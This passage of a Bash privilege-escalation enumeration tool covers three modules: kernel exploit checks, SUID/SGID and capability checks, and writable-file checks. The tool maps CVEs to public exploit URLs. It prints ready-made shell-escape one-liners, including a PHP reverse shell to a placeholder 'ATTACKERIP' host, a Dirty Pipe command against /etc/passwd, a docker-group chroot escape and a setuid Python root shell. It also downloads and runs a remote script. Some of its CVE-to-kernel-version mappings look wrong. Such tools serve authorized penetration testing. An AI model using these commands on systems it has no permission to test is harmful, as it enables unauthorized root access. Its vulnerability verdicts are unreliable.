3 | # Title: Kernel Exploit Checker
4 | # Description: Check for known kernel vulnerabilities and provide exploitation guidance
5 | # Author: Jonas Resch
6 |
7 | # Define kernel exploit database with CVE, affected versions, exploit URL and details
8 | declare -A KERNEL_EXPLOITS
9 | KERNEL_EXPLOITS["CVE-2021-4034"]="5.0.0,5.15.0,pkexec Local Privilege Escalation,https://github.com/arthepsy/CVE-2021-4034,High impact polkit vulnerability allowing any unprivileged user to gain root privileges"
10 | KERNEL_EXPLOITS["CVE-2021-3156"]="3.0.0,5.11.0,Sudo Baron Samedit,https://github.com/worawit/CVE-2021-3156,Heap-based buffer overflow in sudo allowing any unprivileged user to gain root privileges"
11 | KERNEL_EXPLOITS["CVE-2021-3560"]="3.0.0,5.13.0,polkit Authentication Bypass,https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation,Race condition in polkit allowing local privilege escalation"
12 | KERNEL_EXPLOITS["CVE-2021-22555"]="2.6.19,5.13.0,Netfilter Heap Out-of-Bounds Write,https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html,Critical vulnerability in Linux Netfilter"
13 | KERNEL_EXPLOITS["CVE-2022-0847"]="5.8.0,5.16.11,Dirty Pipe,https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit,Overwriting data in read-only files"
14 | KERNEL_EXPLOITS["CVE-2022-2586"]="5.5.0,5.18.14,nft_object Use-After-Free,https://www.exploit-db.com/exploits/50896,Kernel privilege escalation via Netfilter"
15 | KERNEL_EXPLOITS["CVE-2022-2588"]="5.5.0,5.18.14,nft_object Double-Free,https://www.openwall.com/lists/oss-security/2022/08/29/5,Kernel privilege escalation via Netfilter"
16 | KERNEL_EXPLOITS["CVE-2019-13272"]="4.10.0,5.1.17,PTRACE_TRACEME,https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272,Local privilege escalation in Linux kernel"
17 | KERNEL_EXPLOITS["CVE-2019-18634"]="1.8.2,1.8.31,Sudo pwfeedback Buffer Overflow,https://github.com/saleemrashid/sudo-cve-2019-18634,Buffer overflow in sudo's pwfeedback option"
18 | KERNEL_EXPLOITS["CVE-2019-15666"]="<5.0.21,USB gadget,https://github.com/wapiflapi/expl/tree/master/cve-2019-15666,A vulnerability in usbfs"
19 | KERNEL_EXPLOITS["CVE-2019-5736"]="N/A,N/A,runc container escape,https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/,Container escape affecting Docker/Kubernetes"
20 | KERNEL_EXPLOITS["CVE-2017-16995"]="4.4.0,4.14.8,get_user/put_user,https://www.exploit-db.com/exploits/45010,eBPF verifier vulnerability"
21 | KERNEL_EXPLOITS["CVE-2017-1000112"]="4.4.0,4.13.1,stack clash,https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112,Race condition with AF_PACKET sockets"
22 | KERNEL_EXPLOITS["CVE-2023-0179"]="Versions before February 2023 fixed patch,netfilter,https://www.openwall.org/lists/oss-security/2023/01/26/7,A vulnerability in the netfilter subsystem"
23 | KERNEL_EXPLOITS["CVE-2023-0386"]="<6.2,overlayfs,https://github.com/xkaneiki/CVE-2023-0386,Linux kernel privilege escalation"
24 | KERNEL_EXPLOITS["CVE-2023-22809"]="1.9.0,1.9.12p1,Sudo bypass,https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc,Sudo bypass vulnerability"
25 | KERNEL_EXPLOITS["CVE-2023-4911"]="5.1,6.4,Looney Tunables,https://www.hackthebox.com/blog/CVE-2023-4911-Looney-tunables,Vulnerability in the glibc library"
26 | KERNEL_EXPLOITS["CVE-2023-6546"]="Various,Various,gameport read/write ioctl,https://starlabs.sg/advisories/23/23-6546/,Local escalation through gameport module"
27 |
28 | # Function to check the system's kernel version and compare with exploits
29 | check_kernel_exploits() {
30 | print_subtitle "Kernel Exploit Detection"
31 |
32 | # Get kernel version
33 | kernel_version=$(uname -r)
34 | print_info "Current kernel version: $kernel_version"
35 |
36 | # Check if the kernel version is in a format we can parse
37 | if ! echo "$kernel_version" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+'; then
38 | print_warning "Unusual kernel version format, exploit detection might be less accurate"
39 | fi
40 |
41 | # Extract major, minor and patch version
42 | kernel_major=$(echo "$kernel_version" | cut -d. -f1)
43 | kernel_minor=$(echo "$kernel_version" | cut -d. -f2)
44 | kernel_patch=$(echo "$kernel_version" | cut -d. -f3 | cut -d- -f1)
45 |
46 | # Convert to comparable format
47 | kernel_num=$((kernel_major * 10000 + kernel_minor * 100 + kernel_patch))
48 |
49 | # Counter for found exploits
50 | found_exploits=0
51 |
52 | # Check each exploit
53 | print_info "Checking for known kernel vulnerabilities..."
54 |
55 | for cve in "${!KERNEL_EXPLOITS[@]}"; do
56 | # Split the exploit data
57 | IFS=',' read -r min_version max_version name exploit_url description <<< "${KERNEL_EXPLOITS[$cve]}"
58 |
59 | # Skip if not applicable to standard kernels
60 | if [[ "$min_version" == "N/A" ]]; then
61 | # Special case for container-specific exploits
62 | if [[ "$cve" == "CVE-2019-5736" ]] && ( [ -f /.dockerenv ] || grep -q "docker\|lxc" /proc/1/cgroup 2>/dev/null ); then
63 | print_critical "${RED}[!] $cve - $name${NC} (Container Escape)"
64 | print_critical " ${RED}→ Affects: Docker/Kubernetes containers${NC}"
65 | print_critical " ${RED}→ Description: $description${NC}"
66 | print_critical " ${RED}→ Exploit: $exploit_url${NC}"
67 | found_exploits=$((found_exploits + 1))
68 | fi
69 | continue
70 | fi
71 |
72 | # Parse min version
73 | min_major=$(echo "$min_version" | cut -d. -f1)
74 | min_minor=$(echo "$min_version" | cut -d. -f2)
75 | min_patch=$(echo "$min_version" | cut -d. -f3)
76 | min_num=$((min_major * 10000 + min_minor * 100 + min_patch))
77 |
78 | # Parse max version
79 | max_major=$(echo "$max_version" | cut -d. -f1)
80 | max_minor=$(echo "$max_version" | cut -d. -f2)
81 | max_patch=$(echo "$max_version" | cut -d. -f3)
82 | max_num=$((max_major * 10000 + max_minor * 100 + max_patch))
83 |
84 | # Check if kernel version is in vulnerable range
85 | if [ "$kernel_num" -ge "$min_num" ] && [ "$kernel_num" -le "$max_num" ]; then
86 | # Confirm by checking additional conditions
87 |
88 | # Check for Dirty Pipe specific conditions
89 | if [[ "$cve" == "CVE-2022-0847" ]]; then
90 | # Extra check for specific kernel configs
91 | if grep -q "CONFIG_PIPE=y" /boot/config-$(uname -r) 2>/dev/null; then
92 | print_critical "${RED}[!] $cve - $name${NC} (High Probability)"
93 | print_critical " ${RED}→ Affects: Linux kernel $min_version-$max_version${NC}"
94 | print_critical " ${RED}→ Description: $description${NC}"
95 | print_critical " ${RED}→ Exploit: $exploit_url${NC}"
96 | print_critical " ${RED}→ POC Command: echo 'Dirty Pipe Test' | ./cve-2022-0847 /etc/passwd 1${NC}"
97 | found_exploits=$((found_exploits + 1))
98 | else
99 | print_warning "${YELLOW}[!] $cve - $name${NC} (Needs Verification)"
100 | print_warning " ${YELLOW}→ Affects: Linux kernel $min_version-$max_version${NC}"
101 | print_warning " ${YELLOW}→ Description: $description${NC}"
102 | print_warning " ${YELLOW}→ Need to verify CONFIG_PIPE is enabled${NC}"
103 | fi
104 | continue
105 | fi
106 |
107 | # Check for Polkit specific conditions
108 | if [[ "$cve" == "CVE-2021-4034" ]] || [[ "$cve" == "CVE-2021-3560" ]]; then
109 | if command_exists pkexec || [ -f "/usr/bin/pkexec" ]; then
110 | pkexec_version=$(pkexec --version 2>/dev/null | head -n1)
111 | print_critical "${RED}[!] $cve - $name${NC} (High Probability)"
112 | print_critical " ${RED}→ Affects: Polkit (pkexec: $pkexec_version)${NC}"
113 | print_critical " ${RED}→ Description: $description${NC}"
114 | print_critical " ${RED}→ Exploit: $exploit_url${NC}"
115 | found_exploits=$((found_exploits + 1))
116 | else
117 | print_warning "${YELLOW}[!] $cve - $name${NC} (May Not Apply)"
118 | print_warning " ${YELLOW}→ pkexec not found, vulnerability may not apply${NC}"
119 | fi
120 | continue
121 | fi
122 |
123 | # Check for Sudo specific vulnerabilities
124 | if [[ "$cve" == "CVE-2021-3156" ]] || [[ "$cve" == "CVE-2019-18634" ]] || [[ "$cve" == "CVE-2023-22809" ]]; then
125 | if command_exists sudo; then
126 | sudo_version=$(sudo -V 2>/dev/null | head -n1 | awk '{print $3}')
127 |
128 | if [[ "$cve" == "CVE-2021-3156" ]] && [[ "$sudo_version" < "1.9.5p2" ]]; then
129 | print_critical "${RED}[!] $cve - $name${NC} (Confirmed)"
130 | print_critical " ${RED}→ Affects: sudo versions before 1.9.5p2 (found: $sudo_version)${NC}"
131 | print_critical " ${RED}→ Description: $description${NC}"
132 | print_critical " ${RED}→ Exploit: $exploit_url${NC}"
133 | found_exploits=$((found_exploits + 1))
134 | elif [[ "$cve" == "CVE-2019-18634" ]] && [[ "$sudo_version" < "1.8.31" ]]; then
135 | # Check if pwfeedback is enabled
136 | if grep -q "pwfeedback" /etc/sudoers 2>/dev/null; then
137 | print_critical "${RED}[!] $cve - $name${NC} (Confirmed)"
138 | print_critical " ${RED}→ Affects: sudo versions before 1.8.31 with pwfeedback enabled${NC}"
139 | print_critical " ${RED}→ Description: $description${NC}"
140 | print_critical " ${RED}→ Exploit: $exploit_url${NC}"
141 | found_exploits=$((found_exploits + 1))
142 | else
143 | print_warning "${YELLOW}[!] $cve - $name${NC} (Vulnerable version but pwfeedback not enabled)"
144 | fi
145 | elif [[ "$cve" == "CVE-2023-22809" ]] && [[ "$sudo_version" < "1.9.12p1" ]]; then
146 | print_critical "${RED}[!] $cve - $name${NC} (Potential)"
147 | print_critical " ${RED}→ Affects: sudo versions before 1.9.12p1 (found: $sudo_version)${NC}"
148 | print_critical " ${RED}→ Description: $description${NC}"
149 | print_critical " ${RED}→ Exploit: $exploit_url${NC}"
150 | found_exploits=$((found_exploits + 1))
151 | fi
152 | fi
153 | continue
154 | fi
155 |
156 | # Default case - just report the vulnerability
157 | print_warning "${YELLOW}[!] $cve - $name${NC} (Potential)"
158 | print_warning " ${YELLOW}→ Affects: Linux kernel $min_version-$max_version${NC}"
159 | print_warning " ${YELLOW}→ Description: $description${NC}"
160 | print_warning " ${YELLOW}→ Exploit: $exploit_url${NC}"
161 | found_exploits=$((found_exploits + 1))
162 | fi
163 | done
164 |
165 | # Check for presence of exploit mitigation features
166 | print_info "Checking for kernel hardening features..."
167 |
168 | # Check for SMEP (Supervisor Mode Execution Prevention)
169 | smep_enabled=$(grep -i "smep" /proc/cpuinfo 2>/dev/null)
170 | if [ -n "$smep_enabled" ]; then
171 | print_success "SMEP (Supervisor Mode Execution Prevention) is enabled"
172 | else
173 | print_warning "SMEP doesn't appear to be enabled - kernel exploits may be easier"
174 | fi
175 |
176 | # Check for SMAP (Supervisor Mode Access Prevention)
177 | smap_enabled=$(grep -i "smap" /proc/cpuinfo 2>/dev/null)
178 | if [ -n "$smap_enabled" ]; then
179 | print_success "SMAP (Supervisor Mode Access Prevention) is enabled"
180 | else
181 | print_warning "SMAP doesn't appear to be enabled - kernel exploits may be easier"
182 | fi
183 |
184 | # Check for KAISER/KPTI (Kernel Page Table Isolation)
185 | kpti_enabled=$(grep -i "pti" /proc/cpuinfo 2>/dev/null)
186 | if [ -n "$kpti_enabled" ]; then
187 | print_success "KPTI (Kernel Page Table Isolation) is enabled"
188 | else
189 | print_warning "KPTI doesn't appear to be enabled - Meltdown attacks may be possible"
190 | fi
191 |
192 | # Report summary
193 | if [ "$found_exploits" -gt 0 ]; then
194 | print_critical "Found $found_exploits potential kernel vulnerabilities!"
195 | else
196 | print_success "No known kernel vulnerabilities detected."
197 | fi
198 | }
199 |
200 | # Add Linux Exploit Suggester integration
201 | run_linux_exploit_suggester() {
202 | print_subtitle "Linux Exploit Suggester"
203 |
204 | print_info "Running Linux Exploit Suggester for comprehensive checks..."
205 |
206 | # Create temp directory
207 | temp_dir=$(create_temp_dir)
208 |
209 | # Try to download and run Linux Exploit Suggester
210 | if command_exists curl || command_exists wget; then
211 | les_url="https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh"
212 |
213 | if command_exists curl; then
214 | curl -s "$les_url" -o "$temp_dir/les.sh" 2>/dev/null
215 | else
216 | wget -q "$les_url" -O "$temp_dir/les.sh" 2>/dev/null
217 | fi
218 |
219 | if [ -f "$temp_dir/les.sh" ]; then
220 | chmod +x "$temp_dir/les.sh"
221 | print_info "Running Linux Exploit Suggester..."
222 | les_output=$("$temp_dir/les.sh" 2>/dev/null)
223 |
224 | # Extract and highlight CVEs
225 | if [ -n "$les_output" ]; then
226 | echo "$les_output" | grep -E "CVE-[0-9]+-[0-9]+" | grep -i "kernel" | sed -e "s/\(CVE-[0-9]\+-[0-9]\+\)/${RED}\1${NC}/g"
227 | else
228 | print_warning "Linux Exploit Suggester didn't return any results"
229 | fi
230 | else
231 | print_warning "Failed to download Linux Exploit Suggester"
232 | fi
233 |
234 | # Clean up
235 | rm -rf "$temp_dir"
236 | else
237 | print_warning "curl or wget is required to download Linux Exploit Suggester"
238 | fi
239 | }
240 |
241 | # Run integration with additional exploit detectors
242 | run_additional_exploit_checks() {
243 | print_subtitle "Additional Kernel Checks"
244 |
245 | # Check for Dirty COW (CVE-2016-5195)
246 | if [ "$kernel_major" -eq 2 ] || ( [ "$kernel_major" -eq 3 ] && [ "$kernel_minor" -lt 19 ] ) || \
247 | ( [ "$kernel_major" -eq 4 ] && [ "$kernel_minor" -lt 9 ] ); then
248 | print_critical "${RED}[!] System is vulnerable to Dirty COW (CVE-2016-5195)!${NC}"
249 | print_critical " ${RED}→ Affects: Linux kernel versions before 3.19.0 and 4.9.0${NC}"
250 | print_critical " ${RED}→ Description: Race condition in mm/gup.c allowing local privilege escalation${NC}"
251 | print_critical " ${RED}→ Exploit: https://github.com/firefart/dirtycow${NC}"
252 | fi
253 |
254 | # Check for BlueZ vulnerability (CVE-2021-3573)
255 | if command_exists bluetoothd; then
256 | bluez_version=$(bluetoothd -v 2>/dev/null)
257 | if [ -n "$bluez_version" ]; then
258 | if [[ "$bluez_version" < "5.63" ]]; then
259 | print_warning "${YELLOW}[!] BlueZ version $bluez_version may be vulnerable to CVE-2021-3573${NC}"
260 | print_warning " ${YELLOW}→ Affects: BlueZ before 5.63${NC}"
261 | print_warning " ${YELLOW}→ Description: NULL pointer dereference in the AVDTP implementation${NC}"
262 | fi
263 | fi
264 | fi
265 |
266 | # Check for eBPF vulnerabilities
267 | if [ -d "/sys/fs/bpf" ] || [ -d "/proc/sys/net/core/bpf_jit_enable" ]; then
268 | bpf_jit_enabled=$(cat /proc/sys/net/core/bpf_jit_enable 2>/dev/null)
269 | if [ "$bpf_jit_enabled" = "1" ]; then
270 | print_warning "${YELLOW}[!] BPF JIT compiler is enabled, this can be used for exploits${NC}"
271 | print_warning " ${YELLOW}→ Check for CVE-2020-8835, CVE-2020-27194, and others${NC}"
272 | else
273 | print_success "BPF JIT compiler is disabled"
274 | fi
275 | fi
276 | }
277 |
278 | # Main function to run all kernel exploit checks
279 | kernel_exploit_checks() {
280 | print_title "Kernel Vulnerabilities"
281 |
282 | # Run primary kernel exploit check
283 | check_kernel_exploits
284 |
285 | # Run Linux Exploit Suggester if in thorough mode
286 | if [ "$THOROUGH" ]; then
287 | run_linux_exploit_suggester
288 | fi
289 |
290 | # Run additional specialized exploit checks
291 | run_additional_exploit_checks
292 |
293 | # Wait for user if wait mode is enabled
294 | wait_for_user
295 | }
--------------------------------------------------------------------------------
/modules/exploit_checks/suid_sgid.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: SUID/SGID and Capabilities Checker
4 | # Description: Check for exploitable SUID/SGID binaries and capabilities
5 | # Author: Jonas Resch
6 |
7 | # Known SUID/SGID binaries that can be used for privilege escalation
8 | declare -A SUID_BINS
9 | SUID_BINS["/usr/bin/sudo"]="Execute commands as root with proper permissions"
10 | SUID_BINS["/usr/bin/pkexec"]="Execute commands as another user with policykit"
11 | SUID_BINS["/usr/bin/dbus-daemon-launch-helper"]="Helps to launch dbus services"
12 | SUID_BINS["/usr/lib/openssh/ssh-keysign"]="Used by ssh for host-based authentication"
13 | SUID_BINS["/usr/lib/dbus-1.0/dbus-daemon-launch-helper"]="Helps to launch dbus services"
14 | SUID_BINS["/usr/lib/eject/dmcrypt-get-device"]="Used by cryptsetup for device mapping"
15 | SUID_BINS["/usr/lib/policykit-1/polkit-agent-helper-1"]="policykit helper for authentication"
16 | SUID_BINS["/usr/lib/xorg/Xorg.wrap"]="X server wrapper"
17 | SUID_BINS["/usr/sbin/pppd"]="Point-to-Point Protocol daemon"
18 | SUID_BINS["/usr/sbin/exim4"]="Mail Transfer Agent"
19 | SUID_BINS["/sbin/mount.nfs"]="Used to mount NFS file systems"
20 | SUID_BINS["/bin/mount"]="Mount file systems"
21 | SUID_BINS["/bin/umount"]="Unmount file systems"
22 | SUID_BINS["/bin/su"]="Switch user"
23 | SUID_BINS["/bin/ping"]="Send ICMP ECHO_REQUEST packets to network hosts"
24 |
25 | # Exploitable SUID binaries
26 | declare -A EXPLOITABLE_BINS
27 | EXPLOITABLE_BINS["/usr/bin/nmap"]="--interactive -> !sh"
28 | EXPLOITABLE_BINS["/usr/bin/vim"]="vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
29 | EXPLOITABLE_BINS["/usr/bin/find"]="find . -exec /bin/sh -p \\; -quit"
30 | EXPLOITABLE_BINS["/usr/bin/nano"]="Can write to sensitive files"
31 | EXPLOITABLE_BINS["/usr/bin/python"]="python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
32 | EXPLOITABLE_BINS["/usr/bin/perl"]="perl -e 'exec \"/bin/sh\";'"
33 | EXPLOITABLE_BINS["/usr/bin/ruby"]="ruby -e 'exec \"/bin/sh\"'"
34 | EXPLOITABLE_BINS["/usr/bin/php"]="php -r '\\$sock=fsockopen(\"ATTACKERIP\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
35 | EXPLOITABLE_BINS["/usr/bin/less"]="less /etc/profile then !/bin/sh"
36 | EXPLOITABLE_BINS["/usr/bin/more"]="more /etc/profile then !/bin/sh"
37 | EXPLOITABLE_BINS["/usr/bin/man"]="man man then !/bin/sh"
38 | EXPLOITABLE_BINS["/usr/bin/awk"]="awk 'BEGIN {system(\"/bin/sh\")}'"
39 | EXPLOITABLE_BINS["/usr/bin/bash"]="bash -p"
40 | EXPLOITABLE_BINS["/usr/bin/cp"]="Can copy over sensitive files"
41 | EXPLOITABLE_BINS["/usr/bin/mv"]="Can move over sensitive files"
42 | EXPLOITABLE_BINS["/usr/bin/chmod"]="Can change permissions of sensitive files"
43 | EXPLOITABLE_BINS["/usr/bin/chown"]="Can change ownership of sensitive files"
44 |
45 | check_suid_binaries() {
46 | print_subtitle "SUID/SGID Binaries"
47 |
48 | # Find SUID binaries
49 | print_info "Looking for SUID binaries (might take a while)..."
50 |
51 | # Optimized find command that skips irrelevant directories
52 | suid_bins=$(find / -path /proc -prune -o \
53 | -path /sys -prune -o \
54 | -path /run -prune -o \
55 | -path /snap -prune -o \
56 | -path /var/lib/docker -prune -o \
57 | -path /var/lib/lxc -prune -o \
58 | -path /mnt -prune -o \
59 | -path /media -prune -o \
60 | -path /dev -prune -o \
61 | -type f \( -perm -4000 -o -perm -2000 \) -print 2>/dev/null)
62 |
63 | if [ -n "$suid_bins" ]; then
64 | print_success "Found $(echo "$suid_bins" | wc -l) SUID/SGID binaries:"
65 |
66 | echo "$suid_bins" | while read -r binary; do
67 | owner=$(ls -la "$binary" 2>/dev/null | awk '{print $3}')
68 | perms=$(ls -la "$binary" 2>/dev/null | awk '{print $1}')
69 |
70 | # Safer way to check array keys
71 | is_exploitable=0
72 | is_known=0
73 | exploitable_info=""
74 | known_info=""
75 |
76 | # Check each key in the exploitable bins array
77 | for key in "${!EXPLOITABLE_BINS[@]}"; do
78 | if [ "$key" = "$binary" ]; then
79 | is_exploitable=1
80 | exploitable_info="${EXPLOITABLE_BINS[$key]}"
81 | break
82 | fi
83 | done
84 |
85 | # Check each key in the known SUID bins array
86 | for key in "${!SUID_BINS[@]}"; do
87 | if [ "$key" = "$binary" ]; then
88 | is_known=1
89 | known_info="${SUID_BINS[$key]}"
90 | break
91 | fi
92 | done
93 |
94 | # Now safely display the information
95 | if [ "$is_exploitable" -eq 1 ]; then
96 | print_critical " ${RED}${binary}${NC} [${perms}] [Owner: ${owner}]"
97 | print_critical " ${RED}→ Exploitable:${NC} ${exploitable_info}"
98 | elif [ "$is_known" -eq 1 ]; then
99 | print_warning " ${YELLOW}${binary}${NC} [${perms}] [Owner: ${owner}]"
100 | print_warning " ${YELLOW}→ Purpose:${NC} ${known_info}"
101 | else
102 | print_success " ${binary} [${perms}] [Owner: ${owner}]"
103 | fi
104 |
105 | # Check if it's a shell script (which shouldn't have SUID bit)
106 | if [ -f "$binary" ] && file "$binary" 2>/dev/null | grep -q "shell script"; then
107 | print_critical " ${RED}→ This is a shell script! Very uncommon and likely vulnerable!${NC}"
108 | fi
109 |
110 | # Check if it's world-writable (which is very dangerous)
111 | if [ -f "$binary" ] && [ -w "$binary" ]; then
112 | print_critical " ${RED}→ This binary is world-writable! Extremely dangerous!${NC}"
113 | fi
114 | done
115 | else
116 | print_warning "No SUID/SGID binaries found (strange, there should be at least some standard ones)"
117 | fi
118 | }
119 |
120 | check_custom_privesc_vectors() {
121 | print_subtitle "Custom Privesc Vectors"
122 |
123 | # Check for SUDO commands that can be used for privilege escalation
124 | print_info "Checking for custom privesc vectors..."
125 |
126 | # Check for common shells
127 | shell_list=("bash" "sh" "dash" "zsh" "csh" "ksh" "tcsh" "fish")
128 | print_info "Shell access as other users:"
129 |
130 | for shell in "${shell_list[@]}"; do
131 | # Check if we can sudo as this shell
132 | if [ -n "$PASSWORD" ]; then
133 | # Use password with sudo
134 | if echo "$PASSWORD" | sudo -S -l 2>/dev/null | grep -q "bin/$shell"; then
135 | print_critical " ${RED}You can sudo run $shell!${NC} Try: sudo $shell"
136 | fi
137 | else
138 | # Try without password (non-interactive)
139 | if sudo -n -l 2>/dev/null | grep -q "bin/$shell"; then
140 | print_critical " ${RED}You can sudo run $shell!${NC} Try: sudo $shell"
141 | fi
142 | fi
143 |
144 | # Check for shell SUID
145 | shell_path=$(which "$shell" 2>/dev/null)
146 | if [ -n "$shell_path" ] && [ -u "$shell_path" ]; then
147 | print_critical " ${RED}$shell_path has SUID bit set!${NC} Try: $shell_path -p"
148 | fi
149 | done
150 |
151 | # Check for dangerous sudoers entries
152 | print_info "Dangerous sudoers rules:"
153 |
154 | # Get sudo permissions
155 | if [ -n "$PASSWORD" ]; then
156 | sudo_commands=$(echo "$PASSWORD" | sudo -S -l 2>/dev/null)
157 | else
158 | sudo_commands=$(sudo -n -l 2>/dev/null)
159 | fi
160 |
161 | if [ -n "$sudo_commands" ]; then
162 | dangerous_cmds=("cp" "mv" "cat" "find" "vim" "vi" "emacs" "nano" "python" "perl" "ruby" "php" "awk" "sed" "echo" "less" "more" "man" "nc" "ncat" "netcat" "tee" "dd" "wget" "curl")
163 |
164 | for cmd in "${dangerous_cmds[@]}"; do
165 | if echo "$sudo_commands" | grep -i "bin/$cmd" | grep -v "NOEXEC"; then
166 | print_critical " ${RED}You can run $cmd as sudo!${NC} Check GTFOBins for exploitation: https://gtfobins.github.io/"
167 | fi
168 | done
169 |
170 | # Check for ALL commands
171 | if echo "$sudo_commands" | grep -q "(ALL)" | grep -v "NOEXEC"; then
172 | print_critical " ${RED}You can run ALL commands!${NC} Exploit: sudo su"
173 | fi
174 |
175 | # Check for sudoedit (can edit sensitive files)
176 | if echo "$sudo_commands" | grep -q "sudoedit"; then
177 | print_critical " ${RED}You can use sudoedit!${NC} Try editing sensitive files like /etc/passwd or /etc/sudoers"
178 | fi
179 | fi
180 |
181 | # Check for docker group membership (instant root)
182 | if id -nG 2>/dev/null | grep -qw "docker"; then
183 | print_critical " ${RED}You are in the docker group!${NC} Try: docker run -v /:/mnt -it ubuntu chroot /mnt bash"
184 | fi
185 |
186 | # Check for lxd/lxc group membership (instant root)
187 | if id -nG 2>/dev/null | grep -qw "lxd\|lxc"; then
188 | print_critical " ${RED}You are in the lxd/lxc group!${NC} This can be exploited for root access."
189 | fi
190 | }
191 |
192 | check_capabilities() {
193 | print_subtitle "Linux Capabilities"
194 |
195 | # Check for binaries with capabilities
196 | print_info "Looking for binaries with capabilities..."
197 |
198 | if command_exists getcap; then
199 | # Optimized getcap command that skips irrelevant directories
200 | caps=$(getcap -r / 2>/dev/null | grep -v -E "/snap/|/proc/|/sys/|/run/|/var/lib/docker/|/var/lib/lxc/")
201 |
202 | if [ -n "$caps" ]; then
203 | print_success "Found binaries with capabilities:"
204 |
205 | echo "$caps" | while read -r line; do
206 | binary=$(echo "$line" | awk '{print $1}')
207 | capability=$(echo "$line" | awk '{print $2}')
208 |
209 | # Check for dangerous capabilities
210 | if echo "$capability" | grep -q "cap_setuid\|cap_setgid\|cap_sys_admin\|cap_net_admin\|cap_net_raw\|cap_sys_ptrace\|cap_sys_module"; then
211 | print_critical " ${RED}${binary}${NC} [${capability}]"
212 |
213 | # Specific capabilities exploitation guidance
214 | if echo "$capability" | grep -q "cap_setuid"; then
215 | print_critical " ${RED}→ Can be exploited to get root! Example for Python:${NC}"
216 | print_critical " ${RED}→ python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"
217 | elif echo "$capability" | grep -q "cap_sys_admin"; then
218 | print_critical " ${RED}→ Provides full admin capabilities, can mount filesystems etc.${NC}"
219 | elif echo "$capability" | grep -q "cap_sys_ptrace"; then
220 | print_critical " ${RED}→ Can attach to any process and modify its memory${NC}"
221 | fi
222 | else
223 | print_warning " ${YELLOW}${binary}${NC} [${capability}]"
224 | fi
225 | done
226 | else
227 | print_success "No binaries with capabilities found"
228 | fi
229 | else
230 | print_warning "getcap not available, skipping capabilities check"
231 | fi
232 |
233 | # Check for potentially dangerous capabilities allowed in container
234 | if [ -f "/.dockerenv" ] || grep -qi "docker\|lxc" /proc/1/cgroup 2>/dev/null; then
235 | print_info "Checking for dangerous capabilities in container..."
236 |
237 | if [ -r /proc/self/status ]; then
238 | container_caps=$(grep "CapEff:" /proc/self/status 2>/dev/null)
239 |
240 | if [ -n "$container_caps" ]; then
241 | # Extract the hex value
242 | cap_hex=$(echo "$container_caps" | awk '{print $2}')
243 |
244 | # Convert to decimal and check specific bits for dangerous capabilities
245 | cap_dec=$(printf "%d" "0x$cap_hex" 2>/dev/null)
246 |
247 | # Check for CAP_SYS_ADMIN (bit 21)
248 | if (( (cap_dec >> 21) & 1 )); then
249 | print_critical " ${RED}Container has CAP_SYS_ADMIN capability!${NC} This can be exploited to escape."
250 | fi
251 |
252 | # Check for CAP_NET_ADMIN (bit 12)
253 | if (( (cap_dec >> 12) & 1 )); then
254 | print_warning " ${YELLOW}Container has CAP_NET_ADMIN capability!${NC} Can modify network configuration."
255 | fi
256 | fi
257 | fi
258 | fi
259 | }
260 |
261 | # Main function to run all SUID/SGID binary checks
262 | suid_sgid_checks() {
263 | print_title "SUID/SGID Binaries and Capabilities"
264 |
265 | # Run all SUID/SGID and capabilities checks
266 | check_suid_binaries
267 | check_custom_privesc_vectors
268 | check_capabilities
269 |
270 | # Wait for user if wait mode is enabled
271 | wait_for_user
272 | }
--------------------------------------------------------------------------------
/modules/exploit_checks/writable_files.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Writable Files Checker
4 | # Description: Check for writable files and directories that could be exploited for privilege escalation
5 | # Author: Jonas Resch
6 |
7 | # Check for writable configuration files
8 | check_writable_etc_files() {
9 | print_subtitle "Writable Files in /etc"
10 |
11 | print_info "Checking for writable files in /etc..."
12 |
13 | # Find writable files in /etc
14 | writable_etc=$(find /etc -type f -writable 2>/dev/null)
15 |
16 | if [ -n "$writable_etc" ]; then
17 | print_critical "Found writable files in /etc (potential privilege escalation):"
18 | echo "$writable_etc" | while read -r file; do
19 | owner=$(ls -la "$file" 2>/dev/null | awk '{print $3}')
20 | perms=$(ls -la "$file" 2>/dev/null | awk '{print $1}')
21 | print_critical " ${RED}${file}${NC} [${perms}] [Owner: ${owner}]"
22 | done
23 | else
24 | print_success "No writable files found in /etc"
25 | fi
26 | }
27 |
28 | # Check for writable path hijacking opportunities
29 | check_path_hijacking() {
30 | print_subtitle "PATH Hijacking"
31 |
32 | print_info "Checking for PATH hijacking opportunities..."
33 |
34 | # Get the current PATH
35 | path_dirs=$(echo "$PATH" | tr ':' '\n')
36 |
37 | # Check for writable directories in PATH
38 | writable_path_dirs=()
39 |
40 | for dir in $path_dirs; do
41 | if [ -d "$dir" ] && [ -w "$dir" ]; then
42 | writable_path_dirs+=("$dir")
43 | fi
44 | done
45 |
46 | if [ ${#writable_path_dirs[@]} -gt 0 ]; then
47 | print_critical "Found writable directories in PATH (potential for PATH hijacking):"
48 | for dir in "${writable_path_dirs[@]}"; do
49 | print_critical " ${RED}${dir}${NC}"
50 | done
51 |
52 | print_critical "PATH hijacking can be used to execute arbitrary code when a program is run"
53 | else
54 | print_success "No writable directories found in PATH"
55 | fi
56 |
57 | # Check for commonly used commands without absolute paths
58 | print_info "Checking for commands commonly used without absolute paths..."
59 | common_cmds=("ls" "cat" "find" "grep" "id" "whoami" "python" "perl" "ruby" "php" "node" "cp" "mv")
60 |
61 | for cmd in "${common_cmds[@]}"; do
62 | cmd_path=$(which "$cmd" 2>/dev/null)
63 | if [ -n "$cmd_path" ]; then
64 | # Check if there are any scripts using this command without a full path
